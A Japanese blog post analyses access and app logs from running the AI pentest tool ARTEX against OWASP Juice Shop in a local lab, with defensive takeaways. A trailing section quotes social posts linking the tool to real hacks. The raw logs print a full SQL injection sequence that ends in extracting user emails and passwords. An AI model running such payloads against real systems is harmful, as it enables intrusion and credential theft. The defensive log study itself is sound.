まずステータスコードの分布です。 ステータス 件数 200 350 500 86 401 81 302 41 201 22 403 21 400 15 ※ここら辺の分析はClaudeに任せたら以下でした。 普通の利用では、500や401、403がここまで多くなることはありません。 エラーの比率の高さ そのものが、探索されているサインです。 加えて、送信元は1つ、6分半で600件超という高いレートで、 User-Agent は curl/7.88.1(一部 Python-urllib/3.12)でした。 よく叩かれていたのは /rest/products/search、/rest/user/login、/api/Users、/rest/user/whoami、/rest/admin/application-configuration などです。 SQLインジェクションの手順がそのまま残っていた ことも特徴に上げられます。 1. 商品検索の q パラメータに UNION SELECT NULL--、UNION SELECT NULL,NULL-- … と NULLを1つずつ増やして 送り、列の数を探る 2. 列数がわかったら UNION SELECT id,email,password,... FROM Users-- で ユーザーの資格情報を抜き出す 3. UNION SELECT sql,... FROM sqlite_master-- で テーブル構造を一覧する Calude曰く参考書に載っている手順を、そのまま忠実に行っているとのこと。 一応説明の該当箇所のログは以下の通り。ログと突き合わせて、説明見るとまあまあグロいですね。 生ログ(抜粋)http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47078 172.19.0.2:3000 -1 0.006 -1 500 500 174 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47082 172.19.0.2:3000 -1 0.006 -1 500 500 181 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47098 172.19.0.2:3000 -1 0.008 -1 500 500 188 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47112 172.19.0.2:3000 -1 0.006 -1 500 500 195 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47118 172.19.0.2:3000 -1 0.006 -1 500 500 202 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47122 172.19.0.2:3000 -1 0.008 -1 500 500 209 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47126 172.19.0.2:3000 -1 0.006 -1 500 500 216 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47134 172.19.0.2:3000 -1 0.007 -1 500 500 223 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47144 172.19.0.2:3000 -1 0.006 -1 500 500 230 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47152 172.19.0.2:3000 -1 0.007 -1 500 500 237 2318 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:00+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47158 172.19.0.2:3000 -1 0.007 -1 500 500 244 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+id%2cemail%2cpassword%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:00+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47172 172.19.0.2:3000 -1 0.006 -1 500 500 242 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users+-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47186 172.19.0.2:3000 -1 0.007 -1 500 500 245 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users+--%2b HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47194 172.19.0.2:3000 -1 0.007 -1 500 500 243 1349 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users+%23 HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47196 172.19.0.2:3000 -1 0.006 -1 500 500 246 1451 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+NULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users+%2f%2a HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47200 172.19.0.2:3000 -1 0.007 -1 200 200 167 413 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+8-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47204 172.19.0.2:3000 -1 0.006 -1 200 200 167 413 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+9-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:47216 172.19.0.2:3000 -1 0.010 -1 200 200 168 413 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+10-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:45800 172.19.0.2:3000 -1 0.007 -1 500 500 168 1401 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+11-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:06+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:45806 172.19.0.2:3000 -1 0.007 -1 500 500 168 1401 "GET /rest/products/search?q=xyz%27%29%29+ORDER+BY+12-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:06+00:00 "forward" "-" "-" "172.19.0.2:3000" "500" "-" "-" http 2026-10-28T14:36:10+00:00 app/local-lab/50dc6c495c0c9188 172.19.0.1:45822 172.19.0.2:3000 -1 0.056 -1 200 200 251 5750 "GET /rest/products/search?q=xyz%27%29%29+UNION+SELECT+id%2cemail%2cpassword%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL%2cNULL+FROM+Users-- HTTP/1.1" "curl/7.88.1" - - - "-" "localhost" "-" 0 2026-10-28T14:36:10+00:00 "forward" "-" "-" "172.19.0.2:3000" "200" "-" "-" アプリログ(CloudWatch Logs相当):何が成立したか アクセスログからわかるのは「何を試したか」までです。それが成功したかどうかは、アプリ側のログを見る必要があります。 Claude曰くJuice Shopは、問題が解かれると次のようなログを出すようです。 info: Solved 4-star nullByteChallenge (Poison Null Byte) info: Solved 4-star noSqlReviewsChallenge (NoSQL Manipulation) さらに、Juice Shop自身の 不正検知 も働いていました。 Cheat score ... solved in 0min (expected ~8min) ... 0.99 「本来8分ほどかかる問題を0分で解いた」ので、自動化ツールの可能性が高い(スコア0.99)と判定しています。人間には無理な速さ は、防御側にとってわかりやすいシグナルです。 Juice Shopのログが出ている様子。 生ログ(抜粋)info: Solved 2-star deprecatedInterfaceChallenge (Deprecated Interface) info: Cheat score for deprecatedInterfaceChallenge solved in 0min (expected ~4min) with hints allowed: 0.9503583333333333 info: Solved 3-star forgedReviewChallenge (Forged Review) info: Cheat score for forgedReviewChallenge solved in 0min (expected ~6min) with hints allowed: 0.9960472222222222 UnauthorizedError: No Authorization header was found Error: Unexpected path: /rest/products/reviews?id=%7b%22%24gt%22%3a%22%22%7d at /juice-shop/build/routes/angular.js:18:18 at /juice-shop/build/lib/utils.js:239:26 at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5) at trim_prefix (/juice-shop/node_modules/express/lib/router/index.js:328:13) at /juice-shop/node_modules/express/lib/router/index.js:286:9 at router.process_params (/juice-shop/node_modules/express/lib/router/index.js:346:12) at next (/juice-shop/node_modules/express/lib/router/index.js:280:10) at /juice-shop/build/routes/verify.js:235:5 at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5) at trim_prefix (/juice-shop/node_modules/express/lib/router/index.js:328:13) at /juice-shop/node_modules/express/lib/router/index.js:286:9 at router.process_params (/juice-shop/node_modules/express/lib/router/index.js:346:12) at next (/juice-shop/node_modules/express/lib/router/index.js:280:10) at /juice-shop/build/lib/insecurity.js:218:5 at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5) at trim_prefix (/juice-shop/node_modules/express/lib/router/index.js:328:13) Error: WHERE parameter "captchaId" has invalid "undefined" value スコアボードとの突合:実際にはどこまで刺さったか Juice Shopはスコアボード(/api/Challenges)で、どの問題が解かれたかを持っています。これを正解データとして突き合わせました。 難易度 攻略数 ★1 4 ★2 4 ★3 5 ★4 5 ★5・★6 0 管理者ログインのSQLi回避、NoSQLインジェクション、資格情報の抜き出し、他人のカートの閲覧などは攻略できていました。一方、XSSは9問中0、XXEやデシリアライズといった専門知識が必要な高難易度のものはとれていませんでした。とはいえ安いモデルのhaikuで6分半なら、★4あたりが限界というのが今回の結果でした。 攻略した18問の一覧[★1] Improper Input Validation :: Repetitive Registration [★1] Security Misconfiguration :: Error Handling [★1] Observability Failures :: Exposed Metrics [★1] Sensitive Data Exposure :: Confidential Document [★2] Broken Authentication :: Password Strength [★2] Injection :: Login Admin [★2] Security Misconfiguration :: Deprecated Interface [★2] Broken Access Control :: View Basket [★3] Improper Input Validation :: Upload Type [★3] Broken Access Control :: Forged Review [★3] Broken Access Control :: Forged Feedback [★3] Improper Input Validation :: Deluxe Fraud [★3] Improper Input Validation :: Admin Registration [★4] Improper Input Validation :: Poison Null Byte [★4] Unvalidated Redirects :: Allowlist Bypass [★4] Sensitive Data Exposure :: Forgotten Developer Backup [★4] Injection :: NoSQL Manipulation [★4] Injection :: User Credentials また、ARTEXが報告したFindingsは21件で、実際に成立した18件とは一致しません。ツールが「見つけた」と言っているものと、Juiceが本当に刺さったものに違いが出たのも面白いです。Findingsと課題は1対1ではないので、どれがどれに当たるかは別途深掘りしたいです。 ログから見えたAIペンテスターの特徴 特徴 ログでの見え方 どのログか 対象を調べてから狙う Juice Shop固有のAPI(/rest/products/search など)や、機密ファイルの置き場所(/ftp、/encryptionkeys)を開始直後から探る アクセスログ 応答を見て次の手を変える UNION SELECT NULL を1つずつ増やす → 書き方を変える → ORDER BY で列数を確定 → 抜き出し アクセスログ 速い 列数の探りから資格情報の抜き出しまで約10秒 アクセスログ 外しながら近づく URLの形を間違えたNoSQLインジェクションで Unexpected path → その後、正しいAPIで攻略 アプリログ 書き込み系が多い GET 416件に対し POST 183件、PUT 34件 アクセスログ 人間には無理な速さ 本来数分かかる課題を0分で攻略し、cheat score 0.95〜0.99 アプリログ User-Agentはありふれている curl/7.88.1(一部 Python-urllib/3.12)。UAだけでは目立たない アクセスログ ! 前段のnginxが攻撃を止めていた可能性もあるかも nginxのエラーログには、ARTEXが /file-upload に5MBと2MBのファイルを送ろうとして、nginxのアップロード上限(既定1MB)で弾かれた記録が残っていました。これらのリクエストはJuice Shopまで届いていません。 Juice Shopには「サイズ制限を突破してアップロードする」課題(Upload Size)がありますが、今回は攻略できていませんでした。nginxで止められたことが原因の一つかもしれません。 おまけ:sonnetは動かなかった haikuより上位の claude-sonnet-5-5 でも試そうとしましたが、今回のARTEX(v0.3.15)では実行が始まりませんでした。ツールが推論モデルに対応していなかったようで色々設定を変えたんですが動かなかったです。 thinkingの設定なし:APIは200を返すが、本文が空のまま止まる thinkingを有効化:thinking.enabled.budget_tokens: Field required で400エラー。ARTEXの設定画面には budget を入れる欄がない まとめ ペンテストツールを使う前に、対象への権限 と ツールの規約 の両方を確認しましょう。 AWSに出せなくても、nginxでALB形式のログを出せば、ログの観察ができた AIペンテスターは安くて速い(18問を約$0.46、6分半)。一方で、XSSや高難度の問題はまだ取りこぼしていた(モデルの性能による部分もありそうなので、上位モデルなら届くかも) 守る側としては、エラー率の急増、応答に合わせて段階的に変わるリクエスト、人間には無理な速さという点が手がかりになりそうです。 次はハニーポッドを作ってログ集計したいと思います。今回見れたようなAIペンテストツールのようなログが出てくるのかが気になります。 参考 ARTEX: jiwoochris/artex-global OWASP Juice Shop: owasp.org ALBのアクセスログ(AWSドキュメント): docs.aws.amazon.com

  4. Reddit · · r/LocalLLaMA · u/Ok_Warning2146 · jiwoochris/artex-global

    Chinese AI Tool Linked to Hacks in Japan According to this WSJ article, hackers used a multi-agent penetration test tool called Artex made by a person in China called Autumn-27 to hack many Japanese web sites: Autumn-27/ARTEX But the repo was since deleted but a Korean person forked it and internationalized it: jiwoochris/artex-global Most likely hackers used open weight models for hacking. So while open weight models itself is neutral, it can create real damage if used by the bad actors.

    13 comments
  5. jiwoochris/artex-global: ARTEX 한국어판 · AI 자율 침투 테스트 프레임워크(upstream: Autumn-27/ARTEX, AGPL-3.0) jiwoochris/artex-global

    6 likes · 2 reposts · 1,246 views
  6. 한국어 지원 AI 자율 침투 테스트 프레임워크 (upstream: Autumn-27/ARTEX, AGPL-3.0) #artificialintelligence #opensource #technology #ai #news

    1 like
  7. ARTEX AI 진단도구에 침해사고 분석까지 기능이 포함된 기능이 공개되었다. 계속 좋은 기능들로 발전. 😆 bdg9412/artex-ko-plus

    5 likes · 1 repost · 369 views
  8. 은행 털었다던 AI도구 아르텍스 원래 중국보안대회 우승작인데 누군가 한국어판 오픈소스로 공개함 jiwoochris/artex-ko

    10 likes · 1 repost · 631 views
  9. 이번 이슈된 AI 해킹 도구 ARTEX 한글판까지 나왔네요. 재미있는 게임이 시작되고 있다. 그렇다고 함부로 여기저기 돌리시면 안됩니다. 연구용 연구용 꼭 경고문을 읽으시고 연구용으로~ jiwoochris/artex-ko t.co

    30 likes · 4 reposts · 1,825 views
Trending awards, every completed day and week
Gold
01st place finishes
Silver
02nd place finishes
Bronze
03rd place finishes
Awarded repositories
0Owned by jiwoochris now

No trending awards yet

None of the repositories jiwoochris owns has finished in the top three of a completed trending day or week, by stars, forks or PR authors. See who is trending now.

A repository earns an award for finishing first, second or third in a completed trending day or week, ranked by new stars, new forks or pull request authors. Awards follow a repository through renames and transfers and count toward its current owner. Weeks run Monday to Sunday, UTC.